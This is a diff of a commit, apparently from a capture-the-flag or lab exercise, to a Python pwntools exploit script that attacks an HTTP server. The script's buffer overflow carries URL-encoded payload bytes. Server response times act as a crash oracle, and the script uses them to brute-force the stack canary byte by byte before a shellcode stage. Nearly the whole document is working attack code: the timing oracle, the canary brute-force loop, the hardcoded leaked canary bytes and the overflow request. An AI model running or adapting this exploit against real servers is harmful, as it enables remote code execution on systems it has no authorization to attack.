3
3
import time
4
4
import statistics
5
5
import math
6
- from scipy .stats import norm
7
6
8
7
context .terminal = ['tmux' , 'splitw' , '-h' ]
9
8
@@ -27,6 +26,7 @@ def package_http_request(path):
27
26
b"\r \n "
28
27
])
29
28
29
+
30
30
def run_expl (payload , log = True ):
31
31
p = remote (ADDR , PORT )
32
32
# buffer overflow
@@ -36,10 +36,14 @@ def run_expl(payload, log=True):
36
36
expl += payload
37
37
#url encode all the bytes that would block the http parser
38
38
expl = expl .replace (b'%' , b'%25' )
39
- expl = expl .replace (b'\x00 ' , b'%00' )
40
- expl = expl .replace (b'\x20 ' , b'%20' )
41
- expl = expl .replace (b'\x0a ' , b'%0a' )
42
- expl = expl .replace (b'\x0d ' , b'%0d' )
39
+ expl = expl .replace (b'?' , b'%3f' )
40
+ for i in range (0x21 ):
41
+ expl = expl .replace (bytes ([i ]), f'%{ i :02X} ' .encode ())
42
+ # expl = expl.replace(b'%', b'%25')
43
+ # expl = expl.replace(b'\x00', b'%00')
44
+ # expl = expl.replace(b'\x20', b'%20')
45
+ # expl = expl.replace(b'\x0a', b'%0a')
46
+ # expl = expl.replace(b'\x0d', b'%0d')
43
47
http_req = package_http_request (expl )
44
48
if log :
45
49
print ("sending these request bytes:" )
@@ -71,7 +75,7 @@ def run_expl_timer(expl):
71
75
print (f"server response time: { delta } " )
72
76
return delta
73
77
74
- def generate_crash_time_test (n = 30 , alpha = 0.5 ):
78
+ def generate_crash_time_test (n = 30 , treshold = 3 ):
75
79
"""returns a function that will test if a given server response time
76
80
indicates a server crash
77
81
@@ -80,39 +84,22 @@ def generate_crash_time_test(n=30, alpha=0.5):
80
84
and a new sample is required for an accurate test
81
85
"""
82
86
# get sample, from running a query that doesn't crash the server
83
- print ("generating sample ..." )
87
+ print ("sampling server response time ..." )
84
88
sample_timings = []
85
89
for _ in range (n ):
86
90
expl = b'' #no exploit, the server should not crash
87
91
sample_timings .append (run_expl_timer (expl ))
88
92
# calculate sample statistics
89
93
mean = statistics .mean (sample_timings )
90
94
std = statistics .stdev (sample_timings )
91
- n = len (sample_timings )
92
- stderr = std / math .sqrt (n )
93
95
print (f"mean: { mean } \n std: { std } \n n:{ n } " )
94
96
95
- def z_test (x ):
96
- """return true if the given x time measurement indicates a server crash
97
-
98
- This is testing if x is different from the sample measurements.
99
- The sample measurements are taken on a non-crashing payload.
100
- """
101
- z_score = (x - mean ) / stderr
102
- # The p-value for a two-tailed test (check for significance in both directions)
103
- p_value = 2 * norm .sf (abs (z_score ))
104
- #null hyp: x has the same distrib. as the sample.
105
- #alt hyp: x is different from the sample
106
- reject_null_hyp = p_value < alpha
107
- return reject_null_hyp
108
-
109
97
def is_outlier (x ):
110
98
"""return true if the given x time measurement indicates a server crash
111
99
112
100
This is testing if x is an outlier in the sample measurements.
113
101
The sample measurements are taken on a non-crashing payload.
114
102
"""
115
- treshold = 3
116
103
Z = (x - mean ) / std
117
104
print (f"treshold: { Z } " )
118
105
is_outlier = abs (Z ) > treshold
@@ -122,9 +109,6 @@ def is_outlier(x):
122
109
123
110
124
111
125
-
126
-
127
-
128
112
def run_shellcode (canary ):
129
113
130
114
shellcode_payload = f"""
@@ -147,25 +131,78 @@ def run_shellcode(canary):
147
131
148
132
def main ():
149
133
context .log_level = "warn"
150
- is_crash_time = generate_crash_time_test ()
134
+ test_sample_size = 2
135
+ crash_time_test = generate_crash_time_test (n = test_sample_size )
151
136
152
137
#bruteforce the canary
153
-
154
- for _ in range (10 ):
155
- t1 = run_expl_timer (b'\x00 ' )
156
- test = tester (t1 )
157
- print (f"NOCRASH time: { t1 } is_crash: { test } " )
158
- if test :
159
- print ("!!!!!!!!!!!!" )
160
- t1 = run_expl_timer (b'\x01 ' )
161
- test = tester (t1 )
162
- print (f"CRASH time: { t1 } is_crash: { test } " )
163
- if not test :
164
- print ("!!!!!!!!!!!!" )
138
+ #TODO
139
+ canary_bytes = b''
140
+ canary_bytes = b'\x00 L\x82 _\xff P\x82 \xf1 '
141
+
142
+ for i in range (8 - len (canary_bytes )):
143
+ for j in range (0xff + 2 ):
144
+ if j == ord ('\t ' ):
145
+ continue
146
+ if j == 0xff + 1 :
147
+ #should not get here, recalibrate the timing test
148
+ print ("recalibrating the oracle" )
149
+ crash_time_test = generate_crash_time_test (n = test_sample_size )
150
+ else :
151
+ current_byte = bytes ([j ])
152
+ payload = canary_bytes + current_byte
153
+ print (payload )
154
+ response_time = run_expl_timer (payload )
155
+ is_crash = crash_time_test (response_time )
156
+ if not is_crash :
157
+ canary_bytes += current_byte
158
+ break
159
+
160
+ print ("leaked canary: " )
161
+ print (canary_bytes )
162
+
163
+ #run shellcode
164
+ #TODO
165
+ #
166
+ # for _ in range(10):
167
+ # t1 = run_expl_timer(b'\x00')
168
+ # test = tester(t1)
169
+ # print(f"NOCRASH time: {t1} is_crash: {test}")
170
+ # if test:
171
+ # print("!!!!!!!!!!!!")
172
+ # t1 = run_expl_timer(b'\x01')
173
+ # test = tester(t1)
174
+ # print(f"CRASH time: {t1} is_crash: {test}")
175
+ # if not test:
176
+ # print("!!!!!!!!!!!!")
165
177
166
178
167
179
context .log_level = "info"
168
180
181
+ def test (log = True ):
182
+ p = remote (ADDR , PORT )
183
+ # buffer overflow
184
+ padding_size = 0x220 # tiny with canary
185
+ expl = b''
186
+ expl += b'\x01 aaaaaaa'
187
+ expl += b'a' * (padding_size - 8 - 8 ) #8 is the canary size
188
+ expl += b'\x01 ' #canary
189
+ #url encode all the bytes that would block the http parser
190
+ expl = expl .replace (b'%' , b'%25' )
191
+ expl = expl .replace (b'?' , b'%3f' )
192
+ for i in range (0x21 ):
193
+ expl = expl .replace (bytes ([i ]), f'%{ i :02X} ' .encode ())
194
+ # expl = expl.replace(b'\x20', b'%20')
195
+ # expl = expl.replace(b'\x00', b'%00')
196
+ # expl = expl.replace(b'\x0a', b'%0a')
197
+ # expl = expl.replace(b'\x0d', b'%0d')
198
+ http_req = package_http_request (expl )
199
+ if log :
200
+ print ("sending these request bytes:" )
201
+ print (http_req )
202
+ p .send (http_req )
203
+ res = p .clean ()
204
+ print (res )
205
+ p .close ()
169
206
170
207
main ()
171
208
0 commit comments